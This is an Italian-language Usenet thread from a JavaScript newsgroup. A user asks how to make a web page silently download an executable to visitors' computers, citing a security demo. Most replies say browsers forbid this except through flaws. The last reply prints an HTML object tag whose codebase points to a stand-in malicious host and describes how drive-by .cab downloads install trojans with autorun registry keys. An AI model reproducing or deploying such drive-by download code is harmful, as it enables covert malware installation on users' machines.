Newsgroup: it.comp.lang.javascript
Titolo: download automatico di un file eseguibile

Salve a tutti,
vorrei sapere se con il Javascript č possibile inserire del codice in
una pagina html che possa fare il download
di un file eseguibile sulla macchine dove viene lanciato il browser
all'insaputa dell'utente. Voglio sottolineare
che non mi servono queste informazioni per generare e/o diffondere dei
virus o altro ma si tratta solo di approntare
dei dimostrativi per un progetto legato ai temi della sicurezza. Se č
possibile gradirei sapere come fare.
Grazie in anticipo a quanti mi daranno dei suggerimenti.
Sandro

Sandro Germani wrote:

dando per scontato che tu non sia un lamer, se possibile saperlo cosa 
dovresti progettare sulla sicurezza?
-- 
artemis.alpeia

 > dei dimostrativi per un progetto legato ai temi della sicurezza. Se è


 dati del Sistema SCADA.
Ma questo scenario e' per l'appunto ipotetico. Perche' il browser non e'
progettato per "scaricare software all'insaputa dell'utente".
Quindi, cio' che tu cerchi, e' un browser che sia bacato, con qualche falla
nella sicurezza, che permetta una cosa del genere; oppure ti basta
"simulare" la cosa? Cioe'.. vuoi dimostrare a chicchessia che questo
pericolo esiste *realmente*, oppure ti basta mostrare che *ipoteticamente*
potrebbe succedere una cosa del genere?
Nel secondo caso, ti basta abbassare al minimo per la rete locale le
impostazioni di sicurezza, e poi usare un browser tipo IE su Windows, o
anche Mozilla/Firefox con XPCOM con tutti i diritti necessari, per poter
salvare su disco client cio' che ti pare.
Nel primo caso, invece, tutti i bachi conosciuti di IE (fondamentalmente e'
lui che permette cose del genere) in tal senso sono corretti, e non so se
ve ne sono di nuovi.. ma del resto, se il punto fondamentale della
questione e' dimostrare una reale falla nel browser, armati di buona
pazienza e vedi se scopri qualche exploit nuovo. :)
-- 
ZER0://coder.gfxer.web-designer/
~ You don't have to be crazy to be a webmaster. But it helps.

No, non cerco una falla del browser nč tantomeno trovare bachi nuovi nel browser.
Quello che mi serve sono delle istruzioni javascript (ammesso che esistano) o di
altro
tipo da inserire in una pagina html in modo tale che, quando la suddetta pagina
viene
scaricata, le istruzioni javascript facciano il download in automatico
(all'insaputa dell'utente)
un eseguibile dal server al computer locale.
Grazie di nuovo e ciao,
Sandro


 un eseguibile dal server al computer locale.
Ma questo cade in contraddizione con quanto hai appena affermato, perche'
se un browser permettesse normalmente una cosa del genere, sarebbe appunto
una falla.
L'unica cosa che puoi fare, ti ripeto, e' simulare la cosa abbassando la
sicurezza del browser al minimo ed utilizzare ActiveXObject (se usi IE/Win)
o XPCOM (se usi Gecko) per fare una cosa del genere.
Non ci sono istruzioni in javascript per fare questo genere di cose.
-- 
ZER0://coder.gfxer.web-designer/
~ "When you have eliminated the impossible, whatever remains,
however improbable, must be the truth." (S.H.)

 viene
Perche' non andare alla fonte?
Visita un qualsiasi sito wareze, XXX eccetera ed analizza il sorgente delle 
pagine. Cose' gia' che ci sei testi il tutto in una situazione "reale" :-)
p.s.
Datti anche una sana lettura a questo doc: 
http://tinyurl.com/6kjlw
-- 
Ciao, Riccardo
------------------------------------------------------------------------
http://www.jsdir.com
  ---- Bring Your Site To Life!!!!
http://www.wmtools.it
 ---- WebMasterTools - Servizi per il tuo sito
http://www.dev2dev.it
 ---- La rete ha connesso nuove particelle - D2D006
------------------------------------------------------------------------
Per rispondere: togli il PUNTO .

 Sandro
La teoria di JS nega questa possibilità, a meno che appunto non ci siano
delle falle nel programma (in questo caso il browser) che consentono
certe
azioni.
Il meccanismo funziona con IE in questo modo.
Si crea un oggetto di tipo BHO (Browser Helper Object):
<object onerror="window.parent.retry();" id="Client1" 
    width="1" height="1" 
    classid="CLSID:9C691A33-7DDA-4C2F-BE4C-C176083F35CF"
    codebase="
http://www.sitocattivo.com
">
...
</object>
Un oggetto di questo tipo è una DLL che si aggiunge ad ogni lancio 
di Explorer ed ha la possibilità di eseguire eventi prestabiliti.
Generalmente scarica dei *.cab che contengono al loro interno
un meccanismo di auto installazione.
Il più comune è il bridge.cab che si integra ad ogni nuova sessione di
explorer. Quindi una volta lanciato estrae dal suo interno dei file
eseguibili che verranno memorizzati nella root del sistema,
e creano le chiavi nel registro per essere eseguiti ad ogni avvio
del sistema.
Questi pero' sono i trojan.
Per il momento mi fermo qui, perchè come avrai capito il problema non è
scaricare un eseguibile, ma crearlo e fargli fare quello che vuoi tu.
Per i male intenzionati, lasciate perdere, 
tanto gli antivirus vi beccherebbero immediatamente.
Ciao, Luigi.
-- 
Posted via Mailgate.ORG Server - 
http://www.Mailgate.ORG